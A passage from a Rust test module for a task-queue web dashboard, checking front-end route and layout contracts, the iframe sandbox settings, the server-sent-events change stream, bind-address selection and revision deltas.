20373        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20374        assert!(
20375            APP_JS.contains(
20376                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20377            ),
20378            "`#/queue/<id>` must parse into a route carrying that id"
20379        );
20380
20381        // And the Backlog view has to actually land on the card once it can
20382        // - see consumeQueueFocus(), which renderQueue() calls on every pass
20383        // so a focus set before the queue has loaded is retried once it has.
20384        assert!(APP_JS.contains("state.queueFocus = route.id;"));
20385        assert!(APP_JS.contains("function consumeQueueFocus()"));
20386        assert!(APP_JS.contains("jumpToTask(id)"));
20387    }
20388
20389    #[test]
20390    fn notifications_distinguish_actionable_questions_from_informational_notices() {
20391        let start = APP_JS
20392            .find("function noticeCoveredBy(")
20393            .expect("noticeCoveredBy exists");
20394        let body = &APP_JS[start..];
20395        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
20396
20397        // Historical associations are informational, even for open questions.
20398        assert!(body.contains("Associated question ${short}"));
20399        assert!(!body.contains("el(\"a\""));
20400
20401        // A resolved question displays status rather than an actionable link
20402        assert!(body.contains("(resolved)"));
20403        assert!(body.contains("(closed)"));
20404
20405        let start = APP_JS
20406            .find("function renderNotifications()")
20407            .expect("renderNotifications exists");
20408        let body = &APP_JS[start..];
20409        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
20410
20411        // Only a server-resolved answerable question supplies a response link.
20412        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
20413        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
20414        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
20415        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
20416    }
20417
20418    /// Chat rows are two lines at every width: the title alone, then the
20419    /// shrinkable secondary info.
20420    #[test]
20421    fn chat_rows_put_the_title_alone_on_the_first_line() {
20422        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
20423        assert!(APP_CSS.contains(
20424            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
20425        ));
20426        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
20427        assert!(APP_JS.contains("class: \"badge talk-unread\""));
20428    }
20429
20430    #[test]
20431    fn run_rows_put_the_title_alone_on_the_first_line() {
20432        assert!(
20433            APP_CSS.contains(
20434                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
20435            )
20436        );
20437        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
20438        assert!(APP_JS.contains("class: \"card run-card\""));
20439        assert!(APP_JS.contains("class: \"repo run-id\""));
20440    }
20441
20442    /// Wide screens get a master/detail layout built from the views a phone
20443    /// drills into. These are string assertions: they pin the contract between
20444    /// the three assets, not how it looks.
20445    #[test]
20446    fn wide_screens_show_list_and_preview_side_by_side() {
20447        // One breakpoint, spelled the same in the script and the stylesheet.
20448        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
20449        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
20450        assert!(APP_CSS.contains("main[data-split]"));
20451        assert!(APP_CSS.contains("body[data-split]"));
20452
20453        // The route -> panes table, and a narrow screen opting out of it.
20454        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
20455        assert!(
20456            APP_JS.contains(
20457                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
20458            )
20459        );
20460        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
20461        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
20462        assert!(INDEX_HTML.contains("id=\"split-empty\""));
20463
20464        // Selection is derived from the route, and only ever paints a row.
20465        assert!(APP_JS.contains("function markSelected() {"));
20466        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
20467        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
20468        // The dense row must override the stacked card the 720px block sets up.
20469        assert!(
20470            APP_CSS.contains(
20471                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
20472            )
20473        );
20474
20475        // Independent scrolling: the page stops scrolling, each pane does.
20476        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
20477        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
20478        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
20479        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
20480
20481        // A refresh must never navigate: the loaders still check that their
20482        // subject is the one on screen, and crossing the breakpoint only
20483        // re-reads the hash.
20484        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
20485        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
20486        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
20487        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
20488
20489        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
20490        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
20491    }
20492
20493    #[test]
20494    fn panel_sandbox_carries_exactly_popups() {
20495        let needle = "sandbox: \"";
20496        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
20497        assert_eq!(
20498            matches.len(),
20499            1,
20500            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
20501        );
20502        let start = matches[0].0 + needle.len();
20503        let end = APP_JS[start..]
20504            .find('"')
20505            .expect("sandbox attribute value must be terminated by a closing quote");
20506        let val = &APP_JS[start..start + end];
20507        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
20508        let expected: std::collections::BTreeSet<&str> =
20509            ["allow-popups", "allow-popups-to-escape-sandbox"]
20510                .into_iter()
20511                .collect();
20512        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
20513        assert!(
20514            !tokens.contains("allow-scripts"),
20515            "allow-scripts must never be present in sandbox"
20516        );
20517        assert!(
20518            !tokens.contains("allow-same-origin"),
20519            "allow-same-origin must never be present in sandbox"
20520        );
20521    }
20522
20523    #[test]
20524    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
20525        // consumeQueueFocus() clears an active Backlog search before it can
20526        // scroll to the target card (the sections list is hidden while a
20527        // search is showing), by recursing back into renderQueue(). The
20528        // fixer's first cut nulled state.queueFocus before that recursive
20529        // call, so the second pass saw nothing to jump to and the jump was
20530        // silently dropped whenever a notification's link was opened with a
20531        // stale search still active. state.queueFocus must only be cleared
20532        // right before jumpToTask() actually runs.
20533        assert!(
20534            APP_JS.contains(
20535                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
20536            ),
20537            "the search-clearing branch must run before state.queueFocus is cleared, or the \
20538             recursive renderQueue() call has nothing left to jump to"
20539        );
20540        assert!(
20541            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
20542            "state.queueFocus must be cleared only once the jump has landed, so a card that \
20543             arrives later still gets it"
20544        );
20545        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
20546        assert!(APP_JS.contains("is not in the current Backlog."));
20547        assert!(APP_JS.contains("li.card[data-task-id=\""));
20548        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
20549        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
20550        assert!(APP_CSS.contains(".card-permalink"));
20551        assert!(APP_CSS.contains(".queue-focus-status"));
20552        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
20553    }
20554
20555    #[test]
20556    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
20557        // The task's own repro: only the link text inside .notice-meta was
20558        // clickable, so a tap on the message, the timestamp, or the card's
20559        // padding did nothing - on a phone that reads as "the card doesn't
20560        // work" even though the tiny link inside it did. Mark read / Dismiss
20561        // must keep working independently of this: `.closest("a, button")`
20562        // is what lets a tap that actually lands on those elements fall
20563        // through instead of being hijacked into a navigation.
20564        assert!(
20565            APP_JS.contains(
20566                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
20567            ),
20568            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
20569        );
20570    }
20571
20572    #[test]
20573    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
20574        assert!(
20575            APP_JS.contains("round.verified_head !== round.head"),
20576            "a round that verified an earlier commit must be visibly distinct from one that \
20577             verified the head reviewers are looking at now"
20578        );
20579        assert!(
20580            APP_JS.contains("round.verified_at"),
20581            "when a check ran must be on the wire, not just which commit"
20582        );
20583        assert!(
20584            APP_JS.contains("resource_blocked"),
20585            "a command magi never got to run (shared build cache contention) must not render \
20586             the same as a command that ran and failed"
20587        );
20588    }
20589
20590    #[test]
20591    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
20592        // Every KPI tile but Total runs and Completion names an exact
20593        // RunStatus and hands it to openRunsFiltered(), which is what wires
20594        // the click into state.runsFilter.status (matchesFilter's own
20595        // status check) rather than the coarser runsStateFilter chips. Each
20596        // status literal here must be one of the strings runSection() (and
20597        // isStale()) actually compare a run's own `status` field against -
20598        // a status this dashboard invented would filter to nothing.
20599        assert!(
20600            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
20601            "every KPI tile built through statusTile() must route its click through \
20602             openRunsFiltered, the single place that sets the Runs filter"
20603        );
20604        for (label, status) in [
20605            ("Merged", "merged"),
20606            ("Ready", "ready"),
20607            ("Blocked", "blocked"),
20608            ("Stalled", "stalled"),
20609        ] {
20610            let call = format!("statusTile(\"{label}\", t.{status}, ");
20611            assert!(
20612                APP_JS.contains(&call),
20613                "expected the {label} KPI tile built via {call}..."
20614            );
20615            assert!(
20616                APP_JS.contains(&format!("status === \"{status}\"")),
20617                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
20618                 compare a run against, not one invented only for the stats tile"
20619            );
20620        }
20621        assert!(
20622            APP_JS.contains("function openRunsFiltered(status)"),
20623            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
20624        );
20625        assert!(
20626            APP_JS.contains(
20627                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
20628            ),
20629            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
20630        );
20631        // applyRoute() only flips which view is visible for a plain `#runs`
20632        // hash - it does not itself redraw the list (see applyRoute's own
20633        // handling below) - so openRunsFiltered must call renderRuns()
20634        // itself, and must call applyRoute() too so the view flips even
20635        // when the hash string doesn't change (the operator may already be
20636        // on the Runs view when a tile is tapped, which fires no
20637        // hashchange event at all).
20638        assert!(
20639            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
20640            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
20641             hashchange event that may never fire"
20642        );
20643    }
20644
20645    #[test]
20646    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
20647        // A stats tile can leave state.runsFilter.status set to something
20648        // done-by-construction (e.g. "merged") - picking "Active" afterward
20649        // must drop it the same way an incompatible tree section is already
20650        // dropped, or the Runs list renders permanently empty with no way
20651        // for the operator to tell why.
20652        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
20653        assert!(
20654            APP_JS.contains(
20655                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
20656            ),
20657            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
20658             guard for an incompatible tree section"
20659        );
20660    }
20661
20662    #[test]
20663    fn every_stats_queue_tile_names_a_real_queue_section() {
20664        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
20665        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
20666        // (consumeQueueSectionFocus finds no matching <details> and drops
20667        // the focus) rather than fail loudly, so pin every key against the
20668        // section list it has to resolve against.
20669        assert!(
20670            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
20671            "every queue tile built through sectionTile() must route its click through \
20672             openQueueSectionFocus"
20673        );
20674        for key in ["upnext", "running", "done", "held", "blocked"] {
20675            assert!(
20676                APP_JS.contains(&format!("{{ key: \"{key}\",")),
20677                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
20678            );
20679        }
20680        // Queued and Failed intentionally both resolve to "upnext" - the
20681        // same section queueSection() itself files them under - rather than
20682        // getting a section each.
20683        for line in [
20684            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
20685            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
20686            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
20687            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
20688            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
20689            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
20690        ] {
20691            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
20692        }
20693    }
20694
20695    #[test]
20696    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
20697        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
20698        // above for the section-focus channel a stats queue tile drives:
20699        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
20700        // through the stale-search-clear recursion into renderQueue(), and
20701        // clear it only once revealQueueSection() is actually about to run -
20702        // the same trap that once silently dropped a task-focus jump.
20703        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
20704        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
20705        assert!(APP_JS.contains("function revealQueueSection(details)"));
20706        assert!(
20707            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
20708            "renderQueue() must consume both focus channels on every pass"
20709        );
20710        assert!(
20711            APP_JS.contains(
20712                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
20713            ),
20714            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
20715             the recursive renderQueue() call has nothing left to reveal"
20716        );
20717        assert!(
20718            APP_JS.contains(
20719                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
20720            ),
20721            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
20722        );
20723        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
20724        // task-focus form of the hash - a plain `#queue` navigation only
20725        // flips which view is visible. openQueueSectionFocus() must
20726        // therefore call renderQueue() itself, and applyRoute() too so the
20727        // view flips even when the hash doesn't change (the Backlog may
20728        // already be open when a tile is tapped, firing no hashchange
20729        // event at all).
20730        assert!(
20731            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
20732            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
20733             hashchange event that may never fire"
20734        );
20735    }
20736
20737    #[tokio::test]
20738    async fn the_change_stream_announces_the_current_revisions_on_connect() {
20739        let f = Fixture::start().await;
20740
20741        let mut socket = tokio::net::TcpStream::connect(f.addr)
20742            .await
20743            .expect("connect");
20744        socket
20745            .write_all(
20746                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
20747            )
20748            .await
20749            .expect("write request");
20750
20751        // Read until the first event arrives rather than to end of stream: the
20752        // stream is endless by design, which is the point of the route.
20753        let mut seen = String::new();
20754        let mut buf = [0u8; 1024];
20755        while !seen.contains("event: change") {
20756            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
20757                .await
20758                .expect("the stream must speak within five seconds")
20759                .expect("read");
20760            assert!(read > 0, "the server closed the change stream: {seen}");
20761            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
20762        }
20763
20764        assert!(
20765            seen.to_lowercase()
20766                .contains("content-type: text/event-stream"),
20767            "the browser only reconnects automatically for a real SSE stream: {seen}"
20768        );
20769        let data = seen
20770            .lines()
20771            .find_map(|l| l.strip_prefix("data:"))
20772            .expect("a data line");
20773        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
20774        assert!(
20775            payload["queue_rev"].is_u64()
20776                && payload["runs_rev"].is_u64()
20777                && payload["questions_rev"].is_u64()
20778                && payload["talks_rev"].is_u64()
20779                && payload["notifications_rev"].is_u64()
20780                && payload["loop_rev"].is_u64(),
20781            "the client needs one revision per store to know what to refetch, \
20782             and `talks_rev` is the only notification a standing talk gets - a \
20783             phone whose radio slept through a turn learns about it here, as \
20784             does one whose operator started the loop from another device: \
20785             {payload}"
20786        );
20787
20788        // The front end re-polls health on a timer and on wake, and takes the
20789        // revisions from that answer whenever the stream is not up. So health
20790        // has to carry every key the stream carries: a phone on a link that
20791        // will not hold an SSE connection is exactly the phone that must still
20792        // notice a question, and a missing key there is not a 500 but a UI
20793        // that quietly stops updating.
20794        let health = f.get("/api/health").await.json();
20795        for key in [
20796            "queue_rev",
20797            "runs_rev",
20798            "questions_rev",
20799            "talks_rev",
20800            "notifications_rev",
20801            "loop_rev",
20802        ] {
20803            assert!(
20804                health[key].is_u64(),
20805                "health is the change stream's fallback and is missing `{key}`: {health}"
20806            );
20807        }
20808    }
20809
20810    #[tokio::test]
20811    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
20812        let f = Fixture::start().await;
20813        let before = f.get("/api/health").await.json()["talks_rev"]
20814            .as_u64()
20815            .expect("talks_rev");
20816
20817        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
20818        std::thread::sleep(Duration::from_millis(10));
20819        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
20820        on_disk.turns.push(crate::talk::Turn {
20821            sender: None,
20822            breaks: Some(Vec::new()),
20823            messages: Vec::new(),
20824            posted_by: None,
20825            who: crate::talk::Who::Operator,
20826            body: "a new turn".to_owned(),
20827            at: Timestamp::now(),
20828            attachments: Vec::new(),
20829            usage: None,
20830        });
20831        f.talks().put(&mut on_disk).expect("record a turn");
20832
20833        let after = tokio::time::timeout(Duration::from_secs(5), async {
20834            loop {
20835                let revision = f.get("/api/health").await.json()["talks_rev"]
20836                    .as_u64()
20837                    .unwrap();
20838                if revision != before {
20839                    break revision;
20840                }
20841                tokio::time::sleep(Duration::from_millis(50)).await;
20842            }
20843        })
20844        .await
20845        .expect("shared monitor observes external turn");
20846        assert_ne!(
20847            before, after,
20848            "a phone must be able to notice a talk's reply without polling every store"
20849        );
20850    }
20851
20852    #[test]
20853    fn bind_reads_back_from_the_spelling_the_cli_prints() {
20854        // The CLI shows the default in `--help` and parses whatever comes
20855        // back, so the two directions have to agree or `--bind auto` breaks
20856        // the moment someone copies the help text.
20857        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
20858            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
20859        }
20860        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
20861        assert!("everywhere".parse::<Bind>().is_err());
20862    }
20863
20864    #[test]
20865    fn an_explicit_bind_address_is_taken_verbatim() {
20866        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
20867
20868        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
20869
20870        assert_eq!(addr, asked);
20871        assert!(
20872            warning.is_none(),
20873            "an operator who named an address gets no lecture"
20874        );
20875    }
20876
20877    #[test]
20878    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
20879        let (addr, warning) = resolve_bind(&Bind::Auto);
20880
20881        // This has to hold on a CI runner with no `tailscale` and on a dev box
20882        // with one, so the invariant asserted is the one shared by both
20883        // outcomes: the address is either a real tailnet address offered
20884        // without comment, or loopback with an explanation. What must never
20885        // happen is a silent fallback - an operator told "listening on
20886        // 127.0.0.1" with no reason would go looking for a firewall.
20887        match addr {
20888            IpAddr::V4(ip) if is_tailnet(&ip) => {
20889                assert!(warning.is_none(), "a tailnet address needs no warning");
20890            }
20891            other => {
20892                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
20893                let warning = warning.expect("a fallback has to explain itself");
20894                assert!(
20895                    warning.contains("127.0.0.1") && warning.contains("local-only"),
20896                    "the warning says what happened and what it costs: {warning}"
20897                );
20898            }
20899        }
20900    }
20901
20902    #[test]
20903    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
20904        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
20905        // boundary cases are what stop us binding to some other tool's idea of
20906        // an address.
20907        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
20908        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
20909        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
20910        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
20911        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
20912    }
20913
20914    #[test]
20915    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
20916        let ids = vec![
20917            "20260902-140501-aaaa".to_owned(),
20918            "20260902-140502-aabb".to_owned(),
20919        ];
20920
20921        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
20922        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
20923        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
20924
20925        assert_eq!(missing.status, StatusCode::NOT_FOUND);
20926        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
20927        assert_eq!(short, "20260902-140502-aabb");
20928    }
20929    #[tokio::test]
20930    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
20931        // The prompt tells agents to reference attachments by bare filename.
20932        // A document served at `.../panel` resolves `shot.png` against its own
20933        // directory, i.e. `.../shot.png`, which is not the asset route - so a
20934        // panel written exactly as instructed showed broken images. Caught by
20935        // looking at a real one in a browser, not by reading the code.
20936        let fx = Fixture::start().await;
20937        let id = panel(
20938            &fx,
20939            "<img src=\"shot.png\">",
20940            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
20941        );
20942
20943        // The frame's own URL ends in a filename, so its siblings are reachable.
20944        let doc = fx
20945            .get(&format!("/api/questions/{id}/panel/index.html"))
20946            .await;
20947        assert_eq!(doc.status, 200, "{}", doc.body);
20948        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
20949
20950        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
20951        assert_eq!(sibling.status, 200, "{}", sibling.body);
20952        assert_eq!(sibling.header("content-type"), Some("image/png"));
20953        assert_eq!(
20954            sibling.header("content-security-policy"),
20955            Some(PANEL_CSP),
20956            "the sibling route must carry the same policy as the asset route"
20957        );
20958
20959        // The original spelling keeps working: HEAD on it is how the front end
20960        // decides whether to mount a frame at all.
20961        assert_eq!(
20962            fx.head(&format!("/api/questions/{id}/panel")).await.status,
20963            200
20964        );
20965    }
20966
20967    #[test]
20968    fn delta_stamps_cover_add_update_remove_and_noop() {
20969        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
20970        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
20971        let delta = diff_stamps(&before, &after, 42);
20972        assert_eq!(delta.base, 42);
20973        assert_eq!(delta.changed, ["b", "c"]);
20974        assert_eq!(delta.removed, ["a"]);
20975        let same = diff_stamps(&after, &after, 43);
20976        assert!(same.changed.is_empty() && same.removed.is_empty());
20977        assert_ne!(stamps_revision(&before), stamps_revision(&after));
20978        let nanos: Stamps = [("b".into(), (2, 20))].into();
20979        let same_ms: Stamps = [("b".into(), (3, 20))].into();
20980        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
20981        assert_eq!(stamps_revision(&Stamps::new()), 0);
20982    }
20983
20984    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
20985        std::fs::create_dir_all(home.join("runs")).unwrap();
20986        Arc::new(
20987            Ui::new(
20988                Queue::at(home.join("queue")),
20989                Questions::at(home.join("questions")),
20990                Talks::at(home.join("talks")),
20991                home.join("runs"),
20992                home.to_owned(),
20993                PathBuf::from("/repo/magi"),
20994            )
20995            .with_worktrees_root(home.join("wt")),
20996        )
20997    }
20998
20999    #[test]
21000    fn monitor_scan_isolates_store_failures_and_recovers() {
21001        let home = TempDir::new().unwrap();
21002        let ui = delta_test_ui(home.path());
21003        std::fs::create_dir_all(ui.questions.root()).unwrap();
21004        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21005        let before = monitor_scan(&ui, None);
21006        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21007        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21008        std::fs::create_dir_all(ui.talks.root()).unwrap();
21009        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21010        let during = monitor_scan(&ui, Some(before.clone()));
21011        assert_eq!(during.0.2, before.0.2);
21012        assert_ne!(during.0.3, before.0.3);
21013        assert!(during.1[2].contains_key("new"));
21014        std::fs::remove_file(ui.questions.root()).unwrap();
21015        let after = monitor_scan(&ui, Some(during));
21016        assert_eq!(after.0.2, 0);
21017        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21018        // A failed first scan also permits healthy stores to publish.
21019        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21020        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21021    }
21022
21023    #[tokio::test]
21024    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21025        let home = TempDir::new().unwrap();
21026        let ui = delta_test_ui(home.path());
21027        let mut task = Task::new(
21028            "stream task".into(),
21029            "text".into(),
21030            PathBuf::from("/repo"),
21031            Source::Human,
21032        );
21033        ui.queue.put(&mut task).unwrap();
21034        let response = events(State(ui.clone())).await.into_response();
21035        let mut stream = response.into_body().into_data_stream();
21036        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21037            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21038                .await
21039                .unwrap()
21040                .unwrap()
21041                .unwrap();
21042            let text = String::from_utf8(chunk.to_vec()).unwrap();
21043            let data = text
21044                .lines()
21045                .find_map(|line| {
21046                    line.strip_prefix("data: ")
21047                        .or_else(|| line.strip_prefix("data:"))
21048                })
21049                .unwrap();
21050            serde_json::from_str(data).unwrap()
21051        }
21052        let initial = change(&mut stream).await;
21053        assert!(initial.get("queue_delta").is_none());
21054        task.instruction.push_str(" changed");
21055        ui.queue.put(&mut task).unwrap();
21056        let updated = change(&mut stream).await;
21057        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21058        assert_eq!(
21059            updated["queue_delta"]["changed"],
21060            serde_json::json!([task.id])
21061        );
21062        assert_eq!(
21063            updated["queue_rev"].as_u64(),
21064            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21065        );
21066        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21067        let removed = change(&mut stream).await;
21068        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21069        assert_eq!(
21070            removed["queue_delta"]["removed"],
21071            serde_json::json!([task.id])
21072        );
21073    }
21074
21075    #[tokio::test]
21076    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21077        let home = TempDir::new().unwrap();
21078        let ui = delta_test_ui(home.path());
21079        let queue = ui.queue.clone();
21080        let query = |ids: Option<&str>| {
21081            Query(ListQuery {
21082                limit: Some(2),
21083                ids: ids.map(str::to_owned),
21084            })
21085        };
21086        let mut root = Task::new(
21087            "root".into(),
21088            "instruction".into(),
21089            PathBuf::from("/repo"),
21090            Source::Human,
21091        );
21092        queue.put(&mut root).unwrap();
21093        let mut blocked = Task::new(
21094            "blocked".into(),
21095            "instruction".into(),
21096            PathBuf::from("/repo"),
21097            Source::Human,
21098        );
21099        blocked.block(vec![root.id.clone()], None);
21100        queue.put(&mut blocked).unwrap();
21101        let whole =
21102            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21103                .unwrap();
21104        let subset = serde_json::to_value(
21105            queue_list(State(ui.clone()), query(Some(&root.id)))
21106                .await
21107                .unwrap()
21108                .0,
21109        )
21110        .unwrap();
21111        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21112        let blockers = serde_json::to_value(
21113            queue_list(State(ui.clone()), query(Some("")))
21114                .await
21115                .unwrap()
21116                .0,
21117        )
21118        .unwrap();
21119        assert_eq!(blockers.as_array().unwrap().len(), 1);
21120        assert_eq!(blockers[0]["id"], blocked.id);
21121        assert_eq!(
21122            blockers[0]["waits_on"],
21123            whole
21124                .as_array()
21125                .unwrap()
21126                .iter()
21127                .find(|row| row["id"] == blocked.id)
21128                .unwrap()["waits_on"]
21129        );
21130
21131        for id in [
21132            "20260902-140501-aaaa",
21133            "20260902-140502-bbbb",
21134            "20260902-140503-cccc",
21135        ] {
21136            write_run(&ui.runs, id, RunStatus::Merged);
21137        }
21138        let old = serde_json::to_value(
21139            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21140                .await
21141                .unwrap()
21142                .0,
21143        )
21144        .unwrap();
21145        assert!(
21146            old.as_array().unwrap().is_empty(),
21147            "older updates must not enter the window"
21148        );
21149        let newest = serde_json::to_value(
21150            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
21151                .await
21152                .unwrap()
21153                .0,
21154        )
21155        .unwrap();
21156        assert_eq!(newest.as_array().unwrap().len(), 1);
21157        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
21158
